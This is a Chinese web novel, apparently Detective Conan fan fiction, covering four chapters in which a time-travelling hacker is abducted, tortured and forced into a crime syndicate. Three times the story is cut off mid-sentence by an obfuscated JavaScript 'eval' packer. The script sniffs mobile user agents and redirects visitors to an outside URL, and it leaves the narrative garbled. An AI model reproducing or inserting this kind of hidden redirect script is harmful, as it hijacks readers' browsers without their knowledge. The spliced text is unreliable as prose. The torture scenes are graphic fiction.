《[名柯]误入酒厂后》 1. 伯莱塔M92F 熬了一整夜终于完成单子的茶木泽生闭上发涩的眼睛,揉了揉眼角。 现在的学校到底在教些什么东西? 那个程序在业内已经淘汰将近六年了,居然还让学生用这个软件写编程作业。 他昨晚找程序找到崩溃,所有的原始数据一接入电脑就显示:版本过低,无法运行。 最后实在没办法,只能去街后的废品站淘了一套看起来年纪比他都大的电脑。 用这款运转起来堪比空调外机的设备写完这份作业后,茶木泽生在心中默默发誓: 再也不接这一类型的作业了,感觉写多了会折寿。 钱当然要赚,但明显命更重要。 为了后者,他愿意短暂的舍弃一小部分前者。 对方要求用U盘面交,扫了一眼钟表,见时间差不多了,茶木泽生吞了口冰水让自己精神起来。 一夜未睡的副作用实在是过于明显,他头重脚轻的踩着楼梯往下走。 思维像是被两根木棍上下一起搅动的麦芽糖,勉强黏着疲惫的身躯前行。 下楼梯时好像踩到了什么,茶木泽生低头看到是一张纸,也就没怎么在意。 交易地点是隔了一条街的网吧。 在茶木泽生付不起房租的那段时间里,经常在那里找一个角落缩起来过夜。 老板人还不错,同意他用打扫卫生换取晚上的食宿。虽然都是便利店里的打折品,但总归填饱了肚子。 前几年这里被划成了拆迁区,可不知道为什么一直没有动静。有一部分人因此离开,还有一部分依旧生活在这里。 茶木泽生和网吧老板都属于后者。 茶木泽生住在这里一是因为房租便宜,二则是因为附近的巡逻警察经常翘班,一个月能来两次都算勤快。很方便他做一些灰色生意。 而网吧老板则是舍不得他那些旧电脑。 路过便利店,茶木泽生迷迷糊糊摸了两个饭团作为早餐,付完钱转过身,正准备离开时,就听见老板清朗的喊声:“这位客人,找您的零钱。” 以为自己给错面值的茶木泽生下意识伸手接住。 冰凉的硬币接触的掌心,将茶木泽生在半空中游荡的理智拉回。 这两种饭团他连续买了一个多月都没变过价格,难道说—— 他买到了昨天剩下的促销品? 茶木泽生叹了口气。 算了,隔夜就隔夜吧,又不是没吃过。 自从惹出麻烦,整日东躲西藏,鲜有安稳生活的茶木泽生接受度极高,有的吃就不错了。 出于进食本能,茶木泽生小口小口地咬着冰凉的早餐,继续朝网吧的方向走去。 看着身边过分整洁明亮的街道,他忽然心生疑惑。 自从这里被划为拆迁区,负责打扫卫生的工人就被召回了。 自那以后,街道总是灰沉沉的,像极了倒扣在老旧实验桌上的未被清洗干净的玻璃培养皿。 怎么今天这么干净? 刚才便利店老板的声音也过分年轻…… 这到底是怎么一回事? 困到极致的茶木泽生已经失去了最基本的判断能力,这些疑点只在他心中闪过一瞬,随后消失的无影无踪。 他现在只想把U盘交出去,拿到尾款,然后回到出租屋好好睡上一觉。 这个街区的人本就不多,会来网吧的人就更少了。 见柜台后的老板正躺在摇椅上,脸上盖了个帽子补觉,茶木泽生就知道老板昨晚又是熬了个通宵。 他打了个哈欠,把剩下的零钱全都放在了上面,熟门熟路的找了个角落开机。 十几秒过去,漆黑一片的屏幕亮起,随着逐渐显露的字体,茶木泽生感觉自己好像产生了幻觉。 他有些呆愣的看着那边缘粗糙,占据了大半个屏幕的字符—— Windows NT4.0. 这个版本比他昨晚淘来的都要旧,老板到底是从哪里翻出来的? 这完全就是十几年前的东西…… 眼前的老旧设备完全驱散了茶木泽生体内的困意,大脑和主机一起重新运转。 十几年前? 干净的街道、便利店老板过于年轻的声音、以及上世纪发行的系统…… 心间忽然闪过一个猜测,茶木泽生兴奋难掩的坐在电脑前,他花了几分钟熟悉这台老古董,驾轻就熟的打开网页。 看着挂在最上方:亚特兰大奥运会落幕的新闻,茶木泽生神情恍惚。 亚特兰大奥运会于1996年8月4日在美国落幕。 他……回到了1996年? 这一年他甚至还没有出生。 这可真是—— 太棒了! 茶木泽生在心中不断劝说自己不要得意忘形,要核对每一处细节,不要让上一次的麻烦再度重演。 鼓动的心脏缓缓回到应有的频率。 新闻和系统都可以更改,但有一个地方一定改变不了。 记忆中的链接被一点点输入,茶木泽生目不转睛的盯着正在跳转的白色屏幕。 在他刚入行时,接了一个任务,将一笔海外秘密资金调回国内。 对方只给了两个账户和一笔丰厚的报酬,再无其它。 这笔钱足以让茶木泽生下辈子衣食无忧。 老手都知道这种生意碰不得,容易碰一身灰,洗都洗不掉,说不定还会被人拖出去挡枪。 因而那份委托挂了四五天,才被茶木泽生这个初出茅庐的新人接走。 委托的报酬很吸引人,报复也同样猛烈。 意外、暗杀、下毒、交通事故…… 短短半个月,茶木泽生遇到了七八种死亡威胁。 为了掩盖踪迹,他不得不舍弃了所有的身份信息,重新为自己伪造了一份资料证明,就连账户里的钱他都没敢动,带着仅有的纸币东躲西藏。 而这份资料,除了他自己以外,没人有权限进行更改。 熟悉的页面跳转完成,茶木泽生将自己的名字输入。 不多时,跳出几份资料,有男有女,年龄不一。 这几份资料唯一的共同点就是,这上面的人不是他。 他的信息……已经不存在了…… 茶木泽生呼吸逐渐变得急促起来。 他用这台老古董将系统翻了个底朝天。 系统内里漏洞满天飞,但没有任何被入侵过的痕迹。 “1996……” 茶木泽生低声自语。 一个完全陌生的时代,一个熟悉又陌生的过去,一个能更改自己命运、从猎物变为猎手的机会。 他一定会报复那个言而无信的家伙的! 意识到自己占据了多少先机的茶木泽生立马顺着漏洞给自己开了个后门。 过于古早且没有注释的代码令人难以捉摸,茶木泽生最擅长的手法受到系统限制,无法发挥最大效用。 在运行报错两次后,茶木泽生终于成功进入了后台,在填写信息时,他下意识的填上自己的出生日期。 点击确认的那一瞬间,系统第三次报错卡死。 失败多次,近乎麻木的茶木泽生关掉打开的页面,准备开始第四次操作时,他的桌面不知何时多出两份名单。 诸伏景光,目前就读于警视厅名下的警察学校鬼冢班…… 估计是刚才输入的时候出了错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998716|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误,不小心点进了警校的网址。 对他人身份信息没有兴趣的茶木泽生粗略的扫了两眼就把网页关掉了。 至于另一份…… 在看到上面密密麻麻的武器信息与港口名称后,茶木泽生暗道不好。 这种网站出了名的低防高攻,稍微会点电脑知识的人都能攻进去。 但这种网页追踪效率极其高效,在网页被打开的那一瞬间,就有人开始进行定位。 不知道网页开了多久的茶木泽生顾不上使用技术手段,直接拔了电源,准备用物理手段从源头解决祸端。 随后他直奔前台,准备把自己留下的钱带走,以免给老板带来麻烦。 可还未走出几步,额头就被枪口抵住。 伯/莱塔M92F,初速333.7米每秒,有效射程50米,一个完全躲不过去的距离。 认出手枪型号的茶木泽生面色霎时苍白。 他无比清晰的意识到一件事,他的生死一如当年,正被别人握在手中。 不,如今的情况要更危险一些。 最起码当时的枪口没有抵在自己脑门上。 茶木泽生苦中作乐的想。 伯/莱塔的持有者是一位长发男性,身穿黑色大衣,头戴深色礼帽,垂下来的发丝和礼帽的阴影将他的面容遮挡了大半。 即便看不清全貌,撇开那一身危险不谈,茶木泽生也敢保证,他的真容一定不会太难看。 感觉是可以凭借身材样貌登上杂志封面的人,而且还会被粉丝夸赞一句:真是具有神秘迷人气息的男人。 可惜,茶木泽生不是摄影师,也不是小粉丝。 但为了活下去,他会观察的比最狂热的粉丝还要细致。 来人的左手被大衣与长发遮挡,持枪的右手食指第一指节带着一层茧,但掌心却很干净。 只有长期使用狙击枪的人才会磨出这种形状的茧。 因为他们需要固定在一个地方等待任务对象。在开枪前,他们的食指通常会用力摁在扳机护圈上。 那人枪口微微上扬,敲了敲茶木泽生的额头,似是警告。而后顺着鼻梁下滑,扣动保险,最终停留在茶木泽生的嘴角:“安静点。” 过近的距离,让茶木泽生嗅到了那人身上的血腥味,以及枪口上附着的硝烟气息。 味道有些烫,他应该刚开完枪不久。 得出结论的茶木泽生敢发誓,如果自己弄出了任何响动,伯/莱塔的拥有者就会毫不犹豫的再次开枪。 为了自己的小命着想,茶木泽生十分迅速的点头,毫不吝啬的对外展示自己的顺从。 或许是因为茶木泽生的识趣,那人笑了一声,尾调短促而上扬。 神经极度紧绷的茶木泽生无暇去分辨那笑声里是嘲讽多一些还是轻蔑多一些。 在手枪无声的威胁下,茶木泽生认命的跟着那位长发男人上了车。 开车的是一位黑衣壮汉,带着墨镜,茶木泽生只是看了一眼就收回了视线,在被枪指着的那一刻,他就已经丧失了绝大部分自由,包括看向外界的权利。 汽车平稳的向前驶去,而作为乘客之一的茶木泽生并没有询问目的地的资格。 他一动不动的坐在汽车后排一侧,尽可能的降低自己的存在感。 这个时代距离触屏手机被发明出来还有一段时间,身侧长发男人按下一个又一个按键。 根据车玻璃上的模糊影像,茶木泽生能看到对方手指挪动的距离,再加上按动按键的音量大小,他逐渐拼凑出一条信息—— 人已控制。 虽然不清楚这条短信的接收对象是谁,但茶木泽生知道,在路上的他,目前还是安全的。 2. 血色蛋糕叉 但安全可不是茶木泽生想要的。 比起受制于人,他更想要自由。 躲躲藏藏的日子他已经过够了! 不用猜茶木泽生也知道等待自己的命运会是什么。 他三次打开网址以及逃跑的时间加起来前后不超过十分钟。 而伯/莱塔单发射击后,枪管温度会在十五到三十分钟左右完全冷却。 自己被那把枪抵住时,枪管尚有余温,说明持有者开枪的时间要早于十五分钟。 手枪没有装消音器的话,发出的声响最远能传播一公里左右,可他在来的路上并没有听到异响…… 也就是说,自茶木泽生被发现到这两人从至少一公里之外的地方赶来前后只用了不到十分钟。 能在十分钟之内做出判断并追踪到位的组织可不是什么良善之辈。 看过内部交易信息,又坐在这辆车上的他只有两种结局: 一是到了目的地,在一个僻静的场所被杀掉,连痛苦与哀嚎都会被棉布堵在口中,吞不下,吐不出; 二是从此成为一个乖巧听话,沉默寡言的工具,别人让做什么就做什么。 但这两个方案,茶木泽生哪个都不想选。 他放弃了自己的名字,抛弃了自己的身份,他近乎丢掉了一切,可不是为了摒弃自我与人格,成为一个没有任何想法的工具! 紧靠着车窗的茶木泽生不动声色的观察着车内的两人。 身侧的长发男人正在闭目养神,而在他前方开车的墨镜男一直在专注路况。 或许是为了照顾长发男,车速并不快。 这个速度就算是直接摔下去,最多也只是大面积擦伤,不会伤到骨头。 只要自己跑到另一侧的车道,然后跳到桥下的河流中,就有机会逃跑。 茶木泽生的手悄悄靠近了未上锁的车门把手。 他贴在车窗上的眼睫不自然的颤了几下,手也有些发抖,胸腔里的心脏更是不听命令的乱跳一通。 他只有这一次机会。 再过两分钟,他们就会驶离这段公路桥。一旦离开这里,就算跳了车,没能及时跳河的他也很快就会被抓回来。 茶木泽生悄悄地,不为人知的将心中的紧张与兴奋一点点吐出。 他调整好呼吸,谨慎的观察着外界的环境。 就像是一位安静潜伏的猎人,正爬伏在地,将自己的真实目的隐藏在草丛中,在暗处寻找合适的时机。 身后的车辆或早或晚的从一侧超过了他们。 唯独有一个例外。 茶木泽生的眼睛颤动了一瞬。 那辆车一直以不远不近的距离跟在他们身后。 这个距离很是巧妙,巧到只要茶木泽生一跳车,就会立即撞上它。 在他们还有三十秒就要驶离这段路时,茶木泽生沉默的松开了手。 他僵硬的转过头,看向一侧的长发男人。 一直在闭目养神的男人睁开了眼,什么也没说,只是近乎怜悯的露出一个具有讽刺意味的笑容。 但茶木泽生明白,他是在说——“算你识相。” 兴奋如潮水般四散而去,在茶木泽生体内留下带着后怕的阴冷与潮湿。 体内的心脏一下又一下的跳动,随着周遭景色的变化而慢慢恢复平静—— 死一般的平静,像是在嘲讽茶木泽生的不自量力。 他知道。 他一直都知道自己想要做什么。 这个念头盘踞在茶木泽生的脑海中,和心中升起的恍惚感以及背后的冷汗一样,怎么都消不掉。 自己真的能顺利逃离吗。 他止不住的这么想。 在离开这段路的那一刻,茶木泽生听到身侧的男人说:“伏特加,加速。” 伏特加? 是代号吗? 用的居然是酒的名字,还真是奇怪。 得到指令的伏特加没有说话,只是默默提高时速,一再压缩时间。 因沉浸思考而未能及时调整身体的茶木泽生被惯性压在椅背上,背后的濡湿让他不自觉地浑身一紧,打了个冷战。 有了先前的测试,两人完全不担心茶木泽生会想跑第二次。 一个注定留下的人,不值得他们费太多心思。 到了地方,不用别人多说,茶木泽生就自觉地跟在那个长发男人身后往前走。 伏特加则站在了他的身后。 两人一前一后将茶木泽生包围,最大程度上的限制了他的自由。 和警匪片里演的不一样。 他们并没有给茶木泽生戴什么眼罩头套,只是安静的在小巷中拐来拐去,最终来到了一家没有悬挂任何招牌的小酒馆里。 不知道是不是喝的太醉,酒馆内并没有任何人对三人一列的竖直造型感到奇怪,全都一言不发的低头看着自己的酒杯。 三人脚步基本一致,在路过吧台时,最前面的人忽然一个转弯朝右走去。 此时位于前方的茶木泽生下意识地抬头。 一位笑容明媚的长发美人慵懒的松开卷着头发的手指,对着他友善的笑了一下。 她的身旁还放着一份吃了一小半的甜品,叉子上还残留着看不出色号的口红印。 两人目光交汇时,身后的伏特加并未减速,停在原地的茶木泽生被绊了个踉跄。 感受到重心的变化,本能快于思考,茶木泽生下意识地扶助吧台边缘,用来稳住前倾地身体。 但台面上的甜品就没有那么幸运了。 茶木泽生站起身,一边试图蹭掉左手手掌上的奶油,一边道歉:“真是抱歉这位女士,我毁了您的甜点。” 所幸美人并不在意这个,她向后倚靠着吧台,用同样懒散的腔调说:“没关系哦,反正这份慕斯不是很讨我的欢心。” 早已侧过身的男人听到声响,回头瞥了茶木泽生一眼。 在看到那摊被挤压的不成形状的慕斯蛋糕时,他嫌弃的收回了视线。 将盘子推到一旁的长发美人转过头,用搭在台面上的胳膊撑着下巴。 她的声音听起来像是葡萄酒发酵过程中产生的气泡,带着迷人的芬醇和骤然在空中炸开所带来的惊吓。 她说:“琴酒,你新带来的小朋友好像不太听话啊。” 他们认识! 意识到这一点的茶木泽生立即撕破了脸上伪装出来的乖巧。 他迅速转身,准备逃离现场。可下一秒他的手就被琴酒抓住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998717|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 熟悉的硝烟味不容置疑的侵占了茶木泽生周围的空间。 危险瞬间弥漫开来。 从后方攥住腕骨的手不断用力,像是要把他的骨头捏碎一般。 茶木泽生能感受到琴酒的拇指正顺着骨头的走向不断撬开自己的掌心,右手手指被迫痉挛抖动,最终承受不住压力,彻底张开。 “叮铃——” 被握在手中之物掉落在地。 那是一个小巧的叉子,上面还有残留的慕斯和一枚唇印。 是茶木泽生准备拿来自救逃跑的道具。 在上车前,他身上的所有东西都被收走了,那支餐叉是他唯一能接触的到,勉强能算做是工具的东西。 琴酒并未松开手,他拽着茶木泽生一起蹲下身,捡起了那支看起来无比可笑的叉子。 掌心金属泛起的银白冷光和琴酒的发色很是相像,性格也像。他们两个都是一样的冰冷,一样的不近人情。 细长的柄在琴酒手中转了一圈,他推着手里的人往前走,直到茶木泽生后背靠着吧台。 手腕泛出的疼痛令茶木泽生无暇顾及自己身体的其他部位。 他感受到自己的右手手掌被按在桌面上,他看到琴酒举起了那支餐叉。 原本按住手掌的那只手挪到了肩膀,他听见琴酒用淡漠的声音说:“我记得我说过,安静点!” 下一刻,剧痛袭来! 好疼—— 痛到极致的茶木泽生甚至喊不出声音。 汗滴与眼泪一同滚落。他张着嘴,大口大口的呼吸着,似乎这样就能减轻自己的痛苦。 生存本能令他下意识的想要规避痛苦的来源。 手掌只是轻微抬起,在神经的牵扯下,疼痛便再度蔓延。 茶木泽生的上半身无助的躺在吧台上,手掌被钉在桌面,像是一台程序错乱的机器,脸上满是崩溃的情绪。 血液自伤口向外弥漫,逐渐漫过了那枚唇印,染红了一小片吧台。 茶木泽生被疼痛塞满的大脑不合时宜的想到了一幅画——安格尔绘制的《泉》。 画中的女性用陶罐倾泻泉水,而自己用掌心承受痛苦。 她被框在画框中,自己被钉在吧台上。 茶木泽生不知道自己露出了什么表情,大概是一片空白,或许会很狰狞。 不过身旁的那个女人好像很满意。 她抬手抚去茶木泽生脸上被冷汗打湿的头发,将他的脸完完整整地暴露出来,用戏谑的声音调侃。 “真是张惹人怜爱的脸,那些有钱的姐姐会很你喜欢这一款的。” 表面上看起来乖乖的很听话,实际上却会偷偷的在角落里磨爪子。 像是那种入口绵滑的烈酒,只有喝下去才知道度数到底有多高。 她掏出手机,对着茶木泽生失神的脸拍了一张照片。 过了多久茶木泽生也不知道,疼痛在模糊他的感知。 他模模糊糊的听到有人在说话。 “看来你领回来一个了不起的小家伙,他的资料格外的干净。干净到一无所有。” 意识涣散的茶木泽生心想:他的信息当然查不到,要等到下个世纪他才会出生呢,能查到就有鬼了。 3. 我“自愿”加入组织 纯白房间内,除了茶木泽生坐着的这一块地区,他的四周,包括头顶的墙面全都布满了二十四小时都在对外发散亮度的灯具。 过亮的环境欺骗了他的大脑,令他的身体一直认为这是白天。 即便精神与身体已经极度疲惫,茶木泽生依旧无法入睡。 这是他试图反抗的惩罚。 自那天被琴酒拽着衣领丢到这里已经过了五天。这是他根据手上伤口换药的次数以及自己的饥饿状态推算出来的时间。 蜷缩在墙角的茶木泽生将额头抵在膝盖上,为自己创造出了一小片阴影。 在这里他得以喘息,也得以做些小手段。 他将双手藏在蜷缩的双腿中间,一点一点拽开了右手掌心已经开始愈合的伤口。 浅淡的鲜血味在这间纯白房间内逸散开来。 长久未得到充足睡眠的躯体疲惫不堪,不知过了多久,茶木泽生感知到有人在摆弄自己的胳膊。 他睁开眼,看着来人揭开他掌心的纱布,对着又一次流血的伤口仔细观察。 在这一瞬间,茶木泽生的手和换药人的距离只剩下十几厘米。 没有任何犹豫,茶木泽生控制着身体向前倒去。 数天未曾有正常饮食,每日都是被强灌营养液的身体并没有积蓄太多力量,好在还有重力的帮助。 低头取药的换药人一时不查,被茶木泽生扑了个正着。 得手的茶木泽生依旧虚弱,他拽着换药人的衣领,用仅剩的力气断断续续的说:“我要见琴酒。” 把自己带到这里的人是他,那么能让自己离开这里的人员名单上也一定会有他的名字。 说完,体力不支的茶木泽生就陷入了昏迷之中。 再醒来时,眼前的天花板已经换了一个颜色。 不再是令人眼珠刺痛的纯白与高亮,而是沉稳低调的灰色。 这种饱和度较低的颜色对于长期暴露在强光环境下的人很友好。 茶木泽生第一时间摸向自己的右手,疤痕已经愈合,根据先前的经验来推算,他最起码在这里待了两天。 “人类如果超过七十二小时没有稳定的睡眠,身体就会开始受到损伤。” 枪械组装时金属部件碰撞所发出的咔嗒声在这间灰色的房间内响起。 躺在床上的茶木泽生偏过头看向发声的来源。 是琴酒。 组装好手枪的琴酒不慌不忙的打开保险,继续道:“绝大部分人从那间房子出来后的认知功能都会严重受损。” “甚至部分器官会出现代谢异常,很大概率还会诱发癫痫或心脏问题。” “你很幸运。”握在琴酒手中的枪又一次抵在茶木泽生的额头上,“能准确叫出我的代号,说明你认知功能还算健在。” 看着黑洞洞的枪口,茶木泽生想也不想的立即翻转身体,连同身上的被子一起裹走。 几乎是同一时刻,琴酒扣动了扳机。 然而却没有枪响声传来,有的只是机械模块撞动时发出的空响,以及琴酒那不屑一顾,甚至带着讥讽的嗓音。 “心脏看起来也没问题,也没有犯癫痫。” 茶木泽生后知后觉的反应过来,琴酒刚才的话是什么意思。 啧,好低级但有效的测试方法。 就是对被测试者本人不太友好。 松开被子的茶木泽生默默翻了个白眼。 他头重脚轻的坐起身,倚靠着墙面才勉强让自己没有倒下去。 白色房间虽然没有给他带来太大的肉/体损伤,但却带来了实打实的精神折磨。 短短两天的时间根本没法修复那些创伤。 “在这几天的时间里,我们找人调查了你。” 琴酒从黑色风衣的口袋里拿出一个小巧的物件,将侵犯别人隐私的事说的像是去楼下吃了个早餐一样轻松。 “然后呢,查到什么了?”茶木泽生认出了琴酒手中的东西是自己准备面交的U盘。 还没来得及给自己制作假身份的茶木泽生目前来说就是个黑的不能再黑的黑户,完全不担心琴酒能查出来什么不利于自己的东西。 “过往洗得很干净。” 废话,刚到这里没有一个小时就被抓走了,能不干净嘛。 新生婴儿留下的信息都比他的多。 “手法也很高明。”琴酒的手指抵在U盘的对接口上,意味不明的看着茶木泽生,“甚至闻所未闻。” 组织里所有的技术员都试了一遍,就算用了最先进的设备,也没有办法完全运行这个程序。 最终得出的结论是—— 这是一个经过改造的特殊程序,只有登录特定的网站才能正常运行。 但他们不太明白的是,为什么这么革新的技术会用在如此简单的一个程序上。 简直就是大材小用。 或许这就是天才的怪癖吧。 不然实在没法解释。 拿到这个答案的琴酒冷笑一声,真要是天才就不会被他抓住了。 正好负责守卫过来报告,说茶木泽生要见他,琴酒索性应了下来。 他倒要看看这个天才,到底能有多怪。 在心中预估着时间,琴酒还抽空去抓了一个叛徒,卡着点坐在了茶木泽生的床边。 要是茶木泽生知道琴酒心中所想,一定会在心底大喊冤枉: 他承认自己有点技术在身上,但是这完全是个意外。 虽然U盘里只是学生作业,但在这个时代里,一些模块还没有被添加进程序。 1.0版本的设备怎么可能运行的起来2.0的信息,是你们设备太落后了! 可惜,他不知道。 不仅不知道,为了活命,还要和琴酒虚与委蛇。 “所以你和你背后的人想让我做什么?”茶木泽生突然微微弓起身体,像是在忍受什么,不情不愿的吐出这几个字。 之前在酒馆里就应该再谨慎一些的,现在想跑就更难了。 这种带点灰色,或者干脆就是黑色的生意,知道得越多越难麻烦。 他们是不会允许有一个十分了解自己的对象有任何机会成为自己的敌人。 在这里,平庸低调才是正道。 但他好像走了一条完全相反的路。 “其他人会告诉你的,在那之前,你需要和我去另一个地方。”琴酒站起身,居高临下的看着茶木泽生。 严格意义上来说,茶木泽生应该会被归于情报组或是技术组。 身为行动组的琴酒只负责让人变得老实、甚至是畏惧怯懦,直到不敢背叛组织,他的任务才算是结束。 “能先去餐厅吗?我饿了。” 茶木泽生举起一只手,像是乖学生一般发出了来到这里后第一个源自内心的问题。 “每天都有人给你打营养液。” 琴酒的声音明显冷了下来,显然不是很愿意为了满足茶木泽生的想法而浪费自己的时间。 “那也饿。” 知道自己还有利用价值,暂且死不了的茶木泽生开始逐渐试探自己的地位。 像是突然想到了什么,琴酒露出一个耐人寻味的表情,他同意了茶木泽生的进食要求。 将人带到餐厅里的琴酒眯着眼,饶有兴趣地看着茶木泽生动作熟练的使用着左手吃饭。 看来没少得罪人,连黑客最重要的手都被动了,难怪连一丁点信息都查不到。 只有这样主动或被动放弃曾经的人组织才能放心的去用。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998718|193917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低头吃饭的茶木泽生任由各种各样的目光落在自己身上。 探究的、好奇的、感慨的、惊讶的、不屑的、轻蔑的、敌意的…… 对于这些目光,茶木泽生一个都没有回应,他只是老老实实的填饱肚子,然后跟着琴酒离开。 出发前,他回头看了一眼那些还留在餐厅里的人。 作为回报,那些人同样看着他。 琴酒前进的脚步顿了一下,问:“在看什么?” 回望他的人有男有女,有高有矮,容貌、年龄各不相同,唯有一点不容更改,那也是他们能坐在一处的共同点—— “亡命之徒。”茶木泽生没有任何犹豫的转身,跟上了琴酒的步伐。 他想快点逃离这个压抑的环境,但琴酒显然不愿意放过他:“你以后也会成为其中一员。” 茶木泽生:“……” 谢谢,并不是很想和你们待在一个团伙里。 我更喜欢独自行动。 在前往下一个目的地的路上,琴酒点燃了一支香烟,在空荡幽暗的走廊中,烟雾飘起。 不想因过量吸入二手烟而英年早逝的茶木泽生紧贴着墙根,尽可能快的跟上琴酒,试图将那些烟雾留在身后。 在靠着墙面时,他闻到了一股血腥味,一种不太好的猜测涌现在他的心中。 这个猜测在他们进入尽头的一间房间时得到了证实。 这是一间刑房。 刚一进门,茶木泽生就捂着嘴后退,走出去没两步就被琴酒拎着后衣领扯了回来:“仔细看看,这就是叛徒的下场。” “不要让我在这里看到你,我敢保证,你出现在这里的下场比他要惨的多。” 这个家伙只是一个外围成员,折磨几次把情报吐个干净,再交点钱就可以去死了。 但茶木泽生不一样,他身上的技术就注定了他早晚都会有一个代号。 组织是不会让这种人流落在外的。 至于茶木泽生本人的意见—— 那不重要,他早晚都会被各种手段驯化成一个合格趁手的工具的。 对于叛变的代号成员来说,死亡算是最好的一种结局。 琴酒另一只手掰着茶木泽生的脸,势必要让他看清每一处细节。 眼前那个勉强还能看出人形的家伙一只手被钉在了墙面上。 不知道是不是特意选的高度,那人只有将脚背绷直,才能勉强够到地面。 但地面上撒了一层细碎的玻璃渣,只要触碰,瞬间就会有无数个碎渣嵌进伤口里。 要想减轻手部的疼痛,就必须让脚尖着地,而脚尖着地又势必会被玻璃渣折磨。 茶木泽生又一次意识到了琴酒背后的那个组织到底有多丧良心,以及之前追杀他的雇主居然还算是善良。 果然,良心都是靠对比出来的。 烟味混着血腥味本就令茶木泽生有一种想吐的冲动,在看到这幅场景后就更想吐了。 知道自己逃不过这一劫的茶木泽生为了自己的生命健康着想,在琴酒询问是否要加入组织时,毫不犹豫的答应了下来。 虽然在他眼里自由比较重要,但活着明显要更重要。 他要是死了,要自由还有什么用! 听到自己想要的答案后,琴酒收起手枪,将茶木泽生往前一推。 屋内负责审讯的成员顺势拔出了那枚钉在墙上的钉子。 没了支撑的血人瞬间倒下,跌进了茶木泽生的怀里。 一直强忍着的茶木泽生终于忍不住了,他一把推开怀里的人,趴在地上吐了起来。 他边吐边想,怪不得琴酒突然改了主意,愿意带自己吃饭,原来是要看自己的笑话。 这到底是什么该死的恶趣味! 4. 摸鱼初见端倪 从那间刑房出来后,茶木泽生得到了一个任务。 研究并设计制作一个逆向追踪系统,主要用于通过在线通话来对通讯另一端联系人进行精准定位。 为了制作这个程序,茶木泽生用了整整七天。 其中前五天在摸鱼,第六天在摸鱼的间隙中熟悉那些对于他来说过于古旧的系统。 就这么慢悠悠的过了几天,才在第七天晚饭时有了结果。 “你要的东西。” 茶木泽生顶着熬夜打游戏才勉强挂上的黑眼圈将一个U盘推给了琴酒。 “里面只有初步框架,等到测试完了,我会根据测试结果进行二次调试。” “这对你来说太慢了。” 琴酒没有接,反倒开始质疑茶木泽生的水平。 他上下打量着茶木泽生,似乎是想要找到眼前这个人偷懒的证据。 按照组织内分析出的数据来看,这份程序在第五天就应该被编写完毕,却被他拖到了第七天。 对此,茶木泽生什么都没有说,只是将自己的右手抬起。 稍微一用力,还未完全恢复的手在空中颤抖起来。 明晃晃的对外控诉:这只手能把代码敲出来就不错了。 见琴酒没什么反应,出完任务在附近闲聊的成员全都露出了失望的表情。 还以为这两人能打起来,看来今天是没戏了。 在茶木泽生踏入这里的第一天他们就开始注意他了。 琴酒亲自带过来的人寥寥无几,他一定很特别。 据说组织里已经给他准备好了代号,只等测试期一过,茶木泽生就会成为他们的新同僚。 “科恩,你觉得他的代号会是什么?”基安蒂扭头看向自己沉默寡言的搭档,眼角处艳丽的凤尾蝶刺青灵巧的扇动了一下翅膀。 猜测新成员的代号已经成了她除咒骂琴酒以及手底下各种蠢货外的新乐趣。 “不要,议论这些。”没有人会喜欢自己做出的决定被别人再度评价。 科恩说话的方式很特别,一句完整的话他总是爱断成好几部分。 有人猜测这是因为他曾患有严重的口吃,虽然已经治愈,但那古怪的断句以及过于沉默的气质依旧留了下来。 至于是真是假,没人敢问。 谁也不想惹一个能在六百码外将自己杀死的狙击手。 “啧。”没听到自己想要的回答,基安蒂的好心情坏了一大半,“没意思。” 正当她起身准备离开时,她听到了一个预料之外的名字——“查特。*” 查特酒? 说实在的,茶木泽生不太喜欢这个称呼。 他对于名字没有太大的归属感,惹了事没法摆平就换一个,就连现在用的名字都是编造资料时随手取的。 但查特这两个字所代表的含义实在是过于复杂神秘,要是普通的名字也就罢了,偏偏在这个以酒为代号的组织里给了他这么两个字。 无论是那过于隐秘,只有两位修道士才知道的制造配方,还是带有炼金色彩的酿造背景。 这两个字从里到外都透露着不平凡。 对于茶木泽生来说,神秘与独特可不是什么好事。 比起成为那个特别的,他更希望混在群体里,泯然众人。 只有这样才能活得更久。 可在这里,他的意见并不重要,他唯一能做到的就只有接受这一个选择。 十分不情愿的认下查特这个代号后,茶木泽生低下头:“如果没有其他事,我就先回去了。” 与其他能够自由行动的成员不一样,茶木泽生的活动范围被框定在了一小片区域之内,就连他编写程序的电脑都是离线状态。 摆明了就是不想让他与外界接触。 “找一个人。”琴酒又将U盘送了回来,身旁的伏特加不知道从哪里抱回来一台电脑放在茶木泽生面前。 “程序还没经过测试,我也不确定能不能查到准确的位置。”茶木泽生下意识的为自己的话打补丁。 